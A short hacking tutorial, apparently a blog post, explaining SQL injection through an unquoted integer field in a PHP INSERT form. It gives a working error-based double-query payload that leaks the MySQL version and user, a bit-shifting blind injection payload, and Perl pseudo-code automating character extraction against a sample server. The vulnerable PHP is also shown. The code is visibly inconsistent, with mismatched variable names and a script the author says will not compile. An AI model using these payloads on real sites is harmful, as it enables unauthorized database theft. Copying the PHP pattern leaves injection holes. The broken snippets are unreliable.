SQL Injection through INSERT

Hey
in that small article I will show you how to do SQL injection through a form which will insert an entry in a mysql database. To understand that paper it is important that you have the basic understanding of Double Query injection.

Vulnerable Code:
Lets assume we have follow Php Code:
Download source  Code

if(isset($_POST['title']) && isset($_POST['text'])) {
        $text = mysql_real_escape_string($_POST['text']);
        $title = mysql_real_escape_string($_POST['title']);
        $thread_id = mysql_real_escape_string($_POST['thread_id']);
   $sql_insert_post = "INSERT INTO posts(thread_id, post,title) VALUES ($user_id, '$var1','$var2')";
mysql_query($sql_insert_post);
echo mysql_errno($chandle) . ": " . mysql_error($chandle) . "\n";
}
 



In that case the ID of the Thread to which the post refers is stored in a hidden field in the form and will be send with the other form datas to the script. In real life it does not have to be stored in a hidden field but could also be handled to that script over GET. But that does not really matter for the injection.

The Concept:
The $thread_id variable can be used for SQL injection because in the insert statement we have not this var between quotes and therefore the mysql_real_escape_string() function will not stop the attack (since it just converts ' to \').

If we try to insert a MySQl Double Query injection through the $thread_id var we can get mysql to produce an error, which will be displayed and contains additional informations for example the database name.
The Exploit:
Inject through the "hidden" form field thread_id follow sql code:

Download source  Code
 1, (select 1 from (select count(*),concat(version(),0x7e, user(),0x7e, floor(rand(0)*2))x from information_schema.tables group by x)a) 



Now I get follow result: 1062: Duplicate entry '5.1.41~root@localhost~1' for key 'group_key' 

We could go on now and get some table names. But that tutorial will not deal with it. Have a look to the link to get more informations.
http://www.securitytube.net/video/4283

2. The Concept:
Lets say the admin is not so bad in security and deletes follow code:
Download source  Code
echo mysql_errno($chandle) . ": " . mysql_error($chandle) . "\n"; 



So the hacker does not get informations through the error message. As a result DoubleQuery injection is not possible any more. But we still can use some kind of Blind SQl injection.

Lets sum up the Code: The thread_id field in the column decides to which thread which post should be linked. For example every Post with the thread_id = 1 would be linked to the thread with the id = 1:
Download source  Code
 "Select id,post,username from posts where thread_id = '.$_GET['thread_id'].'"



So when you enter in a forum follow URL: ?thread_id = 1. Every post with the thread_id = 1 will be displayed. So through the URL and the parameter we have a way to read indierct the value of the column thread_id in the table posts.

That is pretty interesting because now blind sql injection will be possible.
To make sure we have a character with "just" 8 request lets use bit shifting in the request.

The Exploit:
Inject through the "hidden" form field thread_id follow sql code:
Download source  Code
if( ((ascii(substring((SELECT user() ),1,1)) >> 7) & 0x1) = 0, 1 ,2) 



Node: We just can insert a integer in the column thread_id because it's type is integer and not string.

Now you have to check if the post will be display when you enter the URL: ?thred_id= 1 or ?thread_id = 2. If he is in the thread with the id 1 the first Bit is 0. Now we can go on to get the other bits to get the whole char.

For more informations about Bit shifting have a look too: 
http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html

Well that method is pretty slow but I think you can write a perl, python (or whatever) script for that purporse pretty quickly: 

1. Send the malicous request
2. Scan one of the threads for the things you send through the other posts vars e.g $_POST['text']

3. Node where it is found. And Delete the post. 
4. Calculate it to the var like this:
Download source  Code
 //The if in the query was false
if(FirstThread)
   $ascii |= (1 << i)
//The if in the query was true
else
   $ascii = $asci



Here we have a Pseudo Code in perl:
Download source  Code

my $browser = LWP::UserAgent->new();
$key = 0;

for($counter = 7; $counter >= 0; $counter--){
   
   $injection = "if( ((ascii(substring((SELECT user() ),1,1)) >> $counter) & 0x1) = 0, 1 ,2)  ";
   my $random_number = rand();

   $random_str ="random_shit_basaasassddsaslabla" +$random_number, // Make sure theis is no similar post in thread 

   $seite = $browser->post('http://www.server.net/post.php',[text => ''+$random_number,thread_id => $injection,]);
   
   $browser->get('http://www.server.net/?thread_id=1');
   
   $pag1 = $seite->decoded_content;
   
   if (rindex($pag1,$random_str))
      $key |= 1 << $counter;
   
   //may you want to delete the thread here



}
print "First Key is $key"




And Node again...the above code will not compile it is just to show the concept. 

Comments

Post a Comment